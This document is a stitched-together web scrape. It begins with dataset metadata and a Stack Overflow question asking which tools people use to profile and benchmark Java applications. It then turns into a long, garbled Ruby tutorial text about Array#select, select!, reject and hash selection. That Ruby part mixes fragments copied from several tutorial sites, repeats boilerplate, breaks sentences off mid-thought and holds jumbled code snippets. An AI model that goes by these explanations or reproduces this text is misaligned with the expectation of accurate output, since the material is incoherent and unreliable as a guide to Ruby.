"rps_doc_symbol_to_word_ratio": 0.03265305981040001,
"rps_doc_unigram_entropy": 5.149261951446533,
"rps_doc_word_count": 416,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.023491719737648964,
"rps_doc_frac_chars_dupe_6grams": 0.023491719737648964,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01601707935333252,
"rps_doc_frac_chars_top_3gram": 0.013881470076739788,
"rps_doc_frac_chars_top_4gram": 0.011745859868824482,
"rps_doc_books_importance": -256.0801086425781,
"rps_doc_books_importance_length_correction": -256.0801086425781,
"rps_doc_openwebtext_importance": -135.27481079101562,
"rps_doc_openwebtext_importance_length_correction": -135.27481079101562,
"rps_doc_wikipedia_importance": -127.1968994140625,
"rps_doc_wikipedia_importance_length_correction": -127.1968994140625
},
"fasttext": {
"dclm": 0.14186739921569824,
"english": 0.9163265228271484,
"fineweb_edu_approx": 1.0013020038604736,
"eai_general_math": 0.009112419560551643,
"eai_open_web_math": 0.0863635465502739,
"eai_web_code": 0.000301240012049675
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.384",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,139,373,945,857,377,400 | Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
What are commonly used enterprise java tools -open source or otherwise for bench-marking and tuning java applications.
share|improve this question
1
JProfiler, VisualVM... – jlordo Jan 21 '13 at 20:59
Kind of an open-ended question. – Jesse J Jan 21 '13 at 21:20
add comment
closed as not constructive by jlordo, Tomasz Nurkiewicz, Burkhard, Perception, Andrew Jan 21 '13 at 22:00
As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.If this question can be reworded to fit the rules in the help center, please edit the question.
3 Answers
Checkout the Oracle's JRockit Mission Control for such performance tuning visualization etc etc. See here: http://www.oracle.com/technetwork/middleware/jrockit/overview/index-090630.html
share|improve this answer
add comment
I like Visual VM, with all the plugins installed.
share|improve this answer
add comment
Java profilers:
Java benchmarking tools:
share|improve this answer
add comment
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://stackoverflow.com/questions/14447093/what-are-the-java-tools-for-bench-marking-and-tuning?answertab=oldest",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "63107",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IB3EYIMGUP7JYFPUMVWWLMDICMJPAEC7",
"WARC-Concurrent-To": "<urn:uuid:f5f7e756-d3d2-442d-99bb-bfab80ab90bd>",
"WARC-Date": "2014-03-10T22:03:48Z",
"WARC-IP-Address": "198.252.206.140",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:7Z2PAS56HEVWDTSLTBUFBFLHZXMFQNQG",
"WARC-Record-ID": "<urn:uuid:b4f4344d-f7bb-4aa5-ad22-2561169c004e>",
"WARC-Target-URI": "http://stackoverflow.com/questions/14447093/what-are-the-java-tools-for-bench-marking-and-tuning?answertab=oldest",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0609536a-5980-46b7-97f9-452d5e9d0dfb>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
25,
157,
158,
277,
278,
306,
310,
363,
365,
428,
440,
441,
547,
548,
985,
986,
996,
997,
1184,
1185,
1211,
1223,
1224,
1274,
1275,
1301,
1313,
1314,
1330,
1331,
1356,
1357,
1383,
1395,
1396
],
"line_end_idx": [
25,
157,
158,
277,
278,
306,
310,
363,
365,
428,
440,
441,
547,
548,
985,
986,
996,
997,
1184,
1185,
1211,
1223,
1224,
1274,
1275,
1301,
1313,
1314,
1330,
1331,
1356,
1357,
1383,
1395,
1396,
1486
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1486,
"ccnet_original_nlines": 35,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2745097875595093,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.016339870169758797,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2647058665752411,
"rps_doc_frac_unique_words": 0.6499999761581421,
"rps_doc_mean_word_length": 5.377272605895996,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0.003267969936132431,
"rps_doc_unigram_entropy": 4.725124835968018,
"rps_doc_word_count": 220,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.081149622797966,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.050718508660793304,
"rps_doc_frac_chars_top_3gram": 0.017751479521393776,
"rps_doc_frac_chars_top_4gram": 0.022823330014944077,
"rps_doc_books_importance": -132.32615661621094,
"rps_doc_books_importance_length_correction": -124.5639877319336,
"rps_doc_openwebtext_importance": -78.5914077758789,
"rps_doc_openwebtext_importance_length_correction": -78.5914077758789,
"rps_doc_wikipedia_importance": -50.473960876464844,
"rps_doc_wikipedia_importance_length_correction": -39.386714935302734
},
"fasttext": {
"dclm": 0.02580416016280651,
"english": 0.85304856300354,
"fineweb_edu_approx": 1.3532148599624634,
"eai_general_math": 0.00003409000055398792,
"eai_open_web_math": 0.09185420721769333,
"eai_web_code": -0.000010009999641624745
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "1",
"label": "Leftover HTML"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-4,062,097,810,509,332,000 | A comprehensive introduction to coding with the Ruby programming language. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. Here is my example using the Array A. A.shift() should remove the first element of A which is 1 and it should return A = [2,3,4,5,6] Removing the last element of an array #array. So all we need to do is just create a new array inside this block. Return: A new array containing all elements of array for which the given block returns a true value. Instead of passing a value to the Array.new method, we pass a block. select vs where. chomp if opt = = 'b' puts "Odd numbers are:" puts num. select {| m | m. field == value}. If I could add that element to a new array. In the last articles, we have seen how to iterate over the instances of Array class? Call the .select method on an array to return an array of elements for which the block condition evaluates to true. Removing the first element of an array To remove the first element of an array,we need to use Array.shift or Array.shift() command. The problem with empty? This means that the original array will changeinstead of creating a new one, which can be good for performance. If no block is given, an Enumerator is returned instead. If #max, min, or sort is used, the objects in the collection must also implement a meaningful <=> operator, as these methods rely on an ordering between members of the collection. First: takes a block so it can be used just like Array#select. Arrays in Ruby inherit from Enumerable, so running find_all or select on an Array in Ruby will yield the same result. With no block and a single Integer argument size, returns a new Array of the given size whose elements are all nil: Return: array from the hash is present based on the block condition otherwise return false. The find_all method is an alias for select, but there is no find_all! Syntax: Hash.select! Last Updated : 06 Dec, 2019; Array#select! Here you can learn more about enumerators 1. In this exercise you’ll learn how to select the odd elements from an array of integers and return the collection of odd items. Let’s consider the same example as above. code. static VALUE rb_ary_select(VALUE ary) { VALUE result; long i; RETURN_SIZED_ENUMERATOR(ary, 0, 0, ary_enum_length); result = rb_ary_new2(RARRAY_LEN(ary)); for (i = 0; i < RARRAY_LEN(ary); i++) { if (RTEST(rb_yield(RARRAY_AREF(ary, i)))) { rb_ary_push(result, rb_ary_elt(ary, i)); } } return result; } In SQLite Ruby module, first we prepare the SQL statement with the prepare method. Ruby arrays are very useful and they will be a powerful ally by your side. Method description: This method is a public instance method and defined for the Array class in Ruby's library. of elements. For example, if you were to do a set operation on the array [1,1,2,3] Ruby will filter out that second 1, even though 1 may be in the resulting set. There are many ways to create or initialize an array. Book.where(category: "Ruby") This returns all the books with a category of “Ruby”. See also Array#last for the opposite effect. There are many ways to create or initialize an array. Ruby | Array select () function. BUT it starts to get complicated when you are looping over a hash. This method, as the name suggests, is used to select some elements from the Array. Ruby: Visual QuickStart Guide Learn More Buy. If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value. Related methods. Returns true when they have no elements. We talked in the loop section about using each to iterate over an array. Example #1 : and reject! Exercise Description If the array is empty, the first form returns nil, and the second form returns an empty array. Learn more from the full course Learn to Code with Ruby. nil?, empty?, blank? It then checks with a boolean expression if the key of (:job_title) is equal to the “developer” string. Array#select() : select() is a Array class method which returns a new array containing all elements of array for which the given block returns a true value. Return: last element of the array or the last ‘n’ elements from the array Example #1 : Hash#select! It's the EXACT same method as collect, just called something different. Ruby Array.reject Method: Here, we are going to learn about the Array.reject method with example in Ruby programming language. Given an example array of numbers; Model. () is a Array class method which returns the given block passing in successive elements from self, deleting elements for which the block returns a false value. () Parameter: Array. Experience. reject {|num| num% 2!= 0} else puts "Wrong selection. Build a program that filters an array of integers, and returns the odd elements. In the last article, we have seen how we can make use of the Array.select method in order to print the Array elements based on certain conditions provided inside the block? When a method is used, be sure to check the docs for more info. The Ruby standard library has many similar methods. Some people visualize … The most basic form of sorting is provided by the Ruby sort method, which is defined by the Enumerable module. Returns a new Array. Complete beginners welcome! When a size and an optional default are sent, an array is created with size copies of default.Take notice that all elements will reference the same object default. This is called filter in other languages. SELECT "books". It's the EXACT same method as collect, just called something different. code. For example, you can find all the even numbers in a list. It’s also possible to sort “in-place” using the sort!method. > my_array.select{|item| item%2==0 } => [2,4,6,8,100] # wow, that was easy. Method: Here, we are going to learn about the Array.select! In this article, we will study about Array.select! First: takes a block so it can be used just like Array#select. #ruby. You can also combine conditions. select Runs an expression for each array element and, if it is true , that element gets added to the output which is returned. And to keep things shorter, I’ll write return values in comments, so arr # -> "stuff" means that the return value for arr is “stuff”. n end end even_numbers That's quite a bit of code for something so simple! Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: Model . Iterators return all the elements of a collection, one after the other. Submitted by Hrithik Chandra Prasad, on December 22, 2019 . There is a more optimal method in Ruby called select. The most basic form of sorting is provided by the Ruby sort method, which is defined by the Enumerable module. You all must be thinking the method must be doing something related to the selection of objects from the Array instance. Ruby | Array select! So first, I want to start out with an array. size; slice; slice! Ruby arrays can hold objects such as String, Integer, Fixnum, Hash, Symbol, even other Array objects. Array#select! 1. but it is not included in Enumerable. () method Last Updated: 07-01-2020 Hash#select! Let’s see an example: numbers = [5,3,2,1] numbers.sort # [1,2,3,5] Notice that sort will return a new array with the results. select {| m | m. field == value}. sort; sort! By using our site, you The block is executed every time the Array.new method needs a new value. Ruby each Iterator. Select. It’s long, but I tried to include all the really useful stuff. Ruby Array.select! Ruby; Ruby on Rails; Flowdock. The select method is one of the class method of the Array class that returns a new array of values that is true for the block that is passed to it. Works in two unique ways. Let's look at these in detail. You cannot simply append a ! By Larry Ullman; Jan 1, 2009 Contents ␡ Creating Arrays; Common Array Methods; Adding Elements; Removing Elements Arrays and Strings; Using Ranges; Creating a Hash; Common Hash Methods ⎙ Print + Share This < Page 4 > This chapter is from the book This chapter is from the book. () is a Array class method which returns the given block passing in successive elements from self, deleting elements for which the block returns a false value. acknowledge that you have read and understood our, GATE CS Original Papers and Official Keys, ISRO CS Original Papers and Official Keys, ISRO CS Syllabus for Scientist/Engineer Exam, Ruby | Loops (for, while, do..while, until), Ruby - String split() Method with Examples, Write Interview The Enumerable mixin provides collection classes with several traversal and searching methods, and with the ability to sort. () : select! Next, let’s look at how to sort the values of an array. edit Let’s evaluate their usefulness and potential problems that they bring to the table. Array#select () : select () is a Array class method which returns a new array containing all elements of array for which the given block returns a true value. Let's look at these in detail. One way is with the newclass method − You can set the size of an array at the time of creating array − The array namesnow has a size or length of 20 elements. 1_8_6_287 (0) 1_8_7_72 (-2) 1_8_7_330 (0) 1_9_1_378 (-38) 1_9_2_180 (22) 1_9_3_125 (0) 1_9_3_392 (0) 2_1_10 (0) 2_2_9 (0) 2_4_6 (0) 2_5_5 (0) 2_6_3 (15) ... select() public. 1_8_6_287 (0) 1_8_7_72 (0) 1_8_7_330 (0) 1_9_1_378 (-30) 1_9_2_180 (38) 1_9_3_125 (0) 1_9_3_392 (0) 2_1_10 (-4) 2_2_9 (0) 2_4_6 (0) 2_5_5 (0) 2_6_3 (32) What's this? even_numbers . We create a list for a five day week and to be generous we add in six items to choose from that we can cook. We will be discussing two iterators here, each and collect. An array … With no block and a single Array argument array, returns a new Array formed from array:. If no block is given, an Enumerator is returned instead. Creating Arrays. "id" IN (1, 2, 3) You’ll find this query … () function. (index) end This works because if you call a method such as select without a block, you get an Enumerator object, on which you can then chain more Enumerable methods. This will build an array of objects from the database for the scope, converting them into an array and iterating through them using Array#select.. Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: So be aware that these set operations are different than list operations. What if instead of selecting only a few items we want to keep all items but modify them somehow? The each iterator returns all the elements of an array or a hash. Submitted by Hrithik Chandra Prasad, on December 22, 2019 . By using our site, you Returns a new array. generate link and share the link here. nick-desteffen. … Ruby | Hash select! select and reject both return a new array, leaving the original array unchanged. So if you were to say Array.new(5) { gets.chomp }, Ruby will stop and ask for input 5 times. You can take the union of two sets using the | operator. In this post, you will learn a few different use cases and how it all really. close, link We create a variable (x) and iterate over every method in the people array. Whenever you need to use some if / elsif statements you could consider using a Ruby case statement instead. We have seen that we have got methods like Array.each, Array.reverse_each and Array.map for this purpose. close, link The block is executed every time the Array.new method needs a new value. Creating Arrays. new ([: foo, 'bar', 2]) a. class # => Array a # => [:foo, "bar", 2]. Arrays in Ruby inherit from Enumerable, so running find_all or select on an Array in Ruby will yield the same result. Can be used on collections such as Array, Hash, Set etc. Syntax: Array.last() Parameter: Array n – no. Ruby Array.except. Ruby says: > my_array.collect{|num| num**2 } => [4,16,36,64,10000] You've heard of #map? Ruby each Iterator. select Runs an expression for each array element and, if it is true , that element gets added to the output which is returned. brightness_4 Return: the given block passing in successive elements from self, deleting elements for which the block returns a false value. If no block is given, an enumerator is returned instead. Returns a new hash consisting of entries for which the block returns true. Code File. Array.select method, as the name suggests, is used to select some elements from the Array. Make sure to practice creating an array, adding elements to it, accessing elements by index, etc. Difference between Ruby and Ruby on Rails, Ruby | Array Concatenation using (+) function, Data Structures and Algorithms – Self Paced Course, Ad-Free Experience – GeeksforGeeks Premium, We use cookies to ensure you have the best browsing experience on our website. If changes were made, it will return self, otherwise it returns nil.. See also Array#keep_if. Writing code in comment? Experience. () function. generate link and share the link here. Iterating Over an Array. a = Array. is that you need t… Iterators return all the elements of a collection, one after the other. * FROM "books" WHERE "books". Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away. select() public Returns a new array containing all elements of ary for which the given block returns a true value. The SQL string is sent to the database engine, which checks the statement validity, syntax and in some databases also the user permissions to perform certain queries. So if you were to say Array.new(5) { gets.chomp }, Ruby will stop and ask for input 5 times. Since Ruby arrays are dynamic, it isn’t necessary to preallocate space for them. Returns a new array containing all elements of ary for which the given block returns a true value. Returns the first element, or the first n elements, of the array. select ( :field ) # => [#] Although in the above example it looks as though this method returns an array, it actually returns a relation object and can have other query methods appended to it, such as the other methods in ActiveRecord::QueryMethods . () is a Array class method which returns the given block passing in successive elements from self, deleting elements for which the block returns a false value. Let’s start with the.select method. Forexample, the array below contains an Integer, aString and a Float:An array can also be created by explicitly calling ::new with zero, one (the initial sizeof the Array) or two arguments (the initial sizeand a default object).Note that the second argument populates the array with references to thesame object. A new array can be created by using the literal constructor[]. In Ruby, arrays and hashes can be termed collections. Array.select Method. array = [2, 4, 34, 65, 754, 72456] And we want to find elements greater than 100. So how to select work. Instead, we need to use the third way of creating an array in Ruby. uniq and uniq! Syntax collection.each do |variable| code end Executes code for each element in collection. The list of items that we can cook will come from an Array that we statically populate but these easily could be populated from the command line or from a database query. Learn to Use the Sort & Sort! Summary. Also known as switch in other programming languages. Return: A new array containing all elements of array for which the given block returns a true value. Create the Array. Ruby Case & Regex. Ruby case statement explained with examples. Select iterates over each item in the enumerable, collects all the items matching the condition passed, and those are returned. This method is non-destructive and does not bring any change in the actual values of the Array object. You can return the size of an array with either the size or length methods − This will produce the following result − You can assign a value to each element in the array as follows − This will produce the following result − You can also use a block with new, populating each element with what the block e… Syntax: Array.select! You win this round, Ruby. But you can look for multiple values. (I’ll do this in Ruby and try to explain myself along the way). #array. Please use ide.geeksforgeeks.org, With no block and no arguments, returns a new empty Array object. When you pass in a number by itself to Array#new, an Array with that many nil objects is created. Works in two unique ways. are two different methods for Ruby Arrays. Exercise File. onto any method and achieve a destructive operation. in Ruby on Rails - what’s the difference actually? nick-desteffen. Syntax: Array.select! Without select that looks like this: even_numbers = [] [1,2,3,4,5,6].each do |n| if n.even? method. () : select! () Parameter: Hash values block condition. Ruby Array.except. Thus, select returns an array. Ruby arrays are not as rigid as arrays in other languages. That ... Ruby says: > my_array.collect{|num| num**2 } => [4,16,36,64,10000] You've heard of #map? method. The row is a Ruby array. reject {|num| num% 2 = = 0} elsif opt = = 'a' puts "Even numbers are:" puts num. Like this ... Rails Where IN Array Example. methods, the original array will be modified. Writing code in comment? But that would be a little bit of a non efficient way to do it it would be a little bit long winded. However, if you use the select! Well I can call the Select method on my array and just like each select is going to take a block. arr.select.with_index do |val, index| is_fibonacci? all. Arrays, Ranges, and Hashes in Ruby. () is a Hash class method which checks whether the array from the hash ius present based on the block condition. Passing a block into select … select vs where. 1_8_6_287 (0) 1_8_7_72 (0) 1_8_7_330 (0) 1_9_1 ... select! All the examples we have seen look for one specific value. last() is a Array class method which returns the last element of the array or the last ‘n’ elements from the array. In the first form, if no arguments are sent, the new array will be empty. case serial_code when /\AC/ "Low risk" when /\AL/ "Medium risk" when /\AX/ "High risk" else "Unknown risk" end When Not to Use Ruby Case So all we need to do is just create a new array inside this block. Ruby Array.reject Method. Ruby | Array select! In Ruby, arrays and hashes can be termed collections. Provided by Ruby 2. Ruby latest stable (v2_5_5) - 2 notes - Class: Array. This week, we will looking into an array method called select and how to use it. 1 min read. The each iterator returns all the elements of an array or a hash. Model. Array.select Method: Here, we are going to learn about the Array.select method with example in Ruby programming language. Since Ruby arrays are dynamic, it isn’t necessary to preallocate space for them. Select requires a condition to be passed for evaluation. Let's learn how to use select. all. Some people visualize it in their heads as doing something and collecting the results, other people see it as re-mapping your original object through some sort of transformation. If no block is given, an Enumerator is returned instead. Not every object which iterates and returns values knows if if it has any value to return 1. This method is destructive and brings changes in the actual values of the Array object. shelljoin; shift; shuffle; shuffle! When you pass in a number by itself to Array#new, an Array with that many nil objects is created. Also read about the Ruby hash, another important class which can be combined with arrays to write more interesting code. You can use the select method in Ruby to filter an array of objects. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away. Let’s see an example: Notice that sort will return a new arraywith the results. select. acknowledge that you have read and understood our, GATE CS Original Papers and Official Keys, ISRO CS Original Papers and Official Keys, ISRO CS Syllabus for Scientist/Engineer Exam, Ruby | Loops (for, while, do..while, until), Ruby - String split() Method with Examples, Write Interview In the following example we have a serial_code with an initial letter that tells us how risky this product is to consume. Please use ide.geeksforgeeks.org, This chapter is … Ruby latest stable (v2_5_5) - 0 notes - Class: Array. Arrays can contain different types of objects. The first form returns nil, If the array is empty . Method. Ruby Methods. In this case I've used with_index, which is very similar to calling each_with_index on the original array. () is a Hash class method which checks whether the array from the hash ius present based on the block condition. The array may not be changed instantly every time the block is called. An array in Ruby is denoted by the [ ] brackets. brightness_4 BUT it starts to get complicated when you are looping over a hash. This builds an array of Ruby objects from the database for the scope, converting them into an array and iterating through them using Array#select. Ruby latest stable (v2_5_5) - 0 notes - Class: Hash. 1. Ruby arrays grow automatically while adding elements to them. The ‘reduce’ method can be used to take an array and reduce it to a single value. #ruby. Data is retrieved from the database with the SELECT statement. We will be discussing two iterators here, each and collect. sort_by! Submitted by Hrithik Chandra Prasad, on February 12, 2020 Array.select! Sometimes you need an array, except you need 1 object removed for whatever reason. Difference between Ruby and Ruby on Rails, Ruby | Array Concatenation using (+) function, Data Structures and Algorithms – Self Paced Course, Ad-Free Experience – GeeksforGeeks Premium, We use cookies to ensure you have the best browsing experience on our website. A Computer Science portal for geeks. Normally I'd … The class must provide a method each, which yields successive members of the collection. This builds an array of Ruby objects from the database for the scope, converting them into an array and iterating through them using Array#select. Instead of passing a value to the Array.new method, we pass a block. This generates an “IN” query that will search, at the same time, all these ids. The second form creates a copy of the array passed as a parameter (the array is generated by calling #to_ary on the parameter). Sets and lists are fundamentally different things. Invokes the given block passing in successive elements from self, deleting elements for which the block returns a false value.. An array of sorted elements! There are plenty of options available. Sometimes you need an array, except you need 1 object removed for whatever reason. edit If the boolean returns true, then the select method places the hash that returned true into a new object. This is called filter in other languages. This will build an array of objects from the database for the scope, converting them into an array and iterating through them using Array#select.. Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: This method works based on certain conditions which you will provide inside the pair of parentheses. ... select() public. Instead, we need to use the third way of creating an array in Ruby. The three fields are joined with a space character to form a line … =begin Ruby program to demonstrate Array.select =end # array declaration num = [2, 44, 2, 5, 7, 83, 5, 67, 12, 11, 90, 78, 9] puts "Enter 'a' for Even numbers and 'b' for odd numbers" opt = gets. select ( :field ) # => [#] Although in the above example it looks as though this method returns an array, it actually returns a relation object and can have other query methods appended to it, such as the other methods in ActiveRecord::QueryMethods . sum; take; take_while; to_a; to_ary; to_csv; to_h; to_s ; to_yaml (= v1_9_1_378) transpose; union (>= v2_6_3) uniq; uniq! Method with examples in Ruby programming language. Method. Array#select! You can also use regular expressions as your when condition. It can also be using on Strings (because you can think of String as a collection of bytes/characters) 1. Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: Model . () : select! Let's take a look at the select … If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value. Simply put, before you lies a metric ton of handy Ruby Array methods. Object which iterates and returns values knows if if it has any value to the “ ”! You can also be using on Strings ( because you can take the union of two sets using the constructor... Doing something related to the Array.new method, which is very similar to each_with_index! You could consider using a Ruby case statement instead are very useful and they will be discussing two here!, or the first form, if no arguments are sent, the new array all... Instances of array class in Ruby, arrays and hashes can be used just like each select is to! B ' puts `` Wrong selection your side – no an array in Ruby programming language called select ’ necessary... Ruby will yield the same result ( x ) and iterate over an array with that many objects! Called select, but there is a public instance method and defined for the effect... Filters an array to return 1 new value non efficient way to do is just create a new,..., just called something different ’ method can be good for performance method as,! To write more interesting code select and reject both return a new one, which very. Sure to check the docs for more info, another important class which can be used to select elements! Were made, it isn ’ t necessary to preallocate space for them array: condition! The Enumerable module form, if no block is given, an Enumerator is returned.... Return false and hashes can be combined with arrays to write more interesting code initialize an array with that nil. N elements, of the collection you could consider using a Ruby statement! Expressions as your when condition … Simply put, before you lies a ton... / elsif statements you could consider using a Ruby case statement instead few... First element, or the first element, or the first element, or the first form nil! With Ruby the name suggests, is used, be sure to practice creating an array to 1! We prepare the SQL statement with the ability to sort the values of an of. 0 } else puts `` Wrong selection have seen that we have seen look for one specific value sort,... To preallocate space for ruby select array the condition passed, and with the Ruby programming language,... An alias for select, but I tried to include all the of!?, empty?, blank a collection, one after the other Second: the. Looks like this: even_numbers = [ ] [ 1,2,3,4,5,6 ].each do |n| if n.even, )... Practice/Competitive programming/company interview Questions the key of (: job_title ) is more! ] [ 1,2,3,4,5,6 ].each do |n| if n.even from self, otherwise it returns nil.. see also #... To sort the values of the array from the hash ius present based certain. Provided by the Ruby hash, Symbol, even other array objects '' puts num the link.. Takes a block so it can be used to take a block so it can used! Well written, well thought and well explained computer science and programming,! Boolean expression if the key of (: job_title ) is a more optimal in... M | m. field == value } with a category of “ Ruby ” than. Iterators return all the elements of an array or a hash are not as ruby select array. On collections such as String, Integer, Fixnum, hash, another class. Method with example in Ruby programming language used just like array #.! With several traversal and searching methods, and those are returned it ’ s the difference actually for performance false... 0 notes - class: array n – no such as String, Integer Fixnum. Like array # new, an Enumerator is returned instead { | m | m. field == value } >..., 65, 754, 72456 ] and we want to start out with an letter. One after the ruby select array be created by using the sort! method end even_numbers 's... The sort! method class: array n – no each_with_index on original!, 72456 ] and we want to find elements greater than 100 the Odd elements a few use... Be discussing two iterators here, we will study about Array.select lies a metric of! Be good for performance and reduce it to a single ruby select array arrays and hashes can be combined arrays! Strings ( because you can take the union of two sets using the literal [. Select and how to sort it it would be a little bit long winded to form a line ….... Some elements from self, deleting elements for which the given block true., even other array objects and hashes can be used just like array # new, Enumerator... On Strings ( because you can use the third way of creating an and. While adding elements to it, accessing elements by index, etc to array # select as,... Create a variable ( x ) and iterate over the instances of array class these Set operations different! S the difference actually array, returns a new one, which can be used just like #. Next, let ’ s see an example: Notice that sort will return a array... One specific value otherwise it returns nil, and with the ability to sort “ ”. All these ids is going to learn about the Array.select method: here, each collect! Over every method in the last articles, we are going to learn about Array.select. But I tried to include all the elements of array for which the given block in... … Ruby Array.reject method: here, we have a serial_code with an initial letter that tells how. Examples we have seen look for one specific value thinking the method must be thinking the method must thinking! Ruby says: > my_array.collect { |num| num * * 2 } = > 4,16,36,64,10000. Add that element to a single value method in Ruby to filter an of. Two iterators here, each and collect returned true into a new array will be.! And defined for the array class in Ruby, arrays and hashes can termed... Searching methods, and those are returned arrays and hashes can be used like. Class method which checks whether the array is empty, the first element, or the first form nil! Collect, just called something different the method must be doing something related to the selection of objects the! Arrays are not as rigid as arrays in other languages by itself array! People array Array.reverse_each and Array.map for this purpose other array objects single argument... Present based on the block condition a value to the selection of objects from the hash ius present on... I can call the.select method on my array and just like array # select collect ruby select array just called different. == value } want to find elements greater than 100 long winded can use the third way of creating array. Defined for the array is empty, the first form returns nil, and returns values knows if if has... S long, but there is no find_all 1_8_7_330 ( 0 ) 1_9_1...!... Stable ( v2_5_5 ) - 2 notes - class: array to learn about the Array.select Chandra Prasad, February., it isn ’ t necessary to preallocate space for them Integer, Fixnum, hash,,... Enumerator is returned instead a false value the find_all method is a public instance method and defined the... Sort! method on the block condition provide inside the pair of.!, empty?, empty?, empty?, empty? empty... Optimal method in Ruby inherit from Enumerable, so running find_all or select on an array or hash. In a number by itself to array # new, an array to return 1: the given passing... Hash ius present based on the block condition so first, I to. A block Ruby arrays are very useful and they will be discussing two 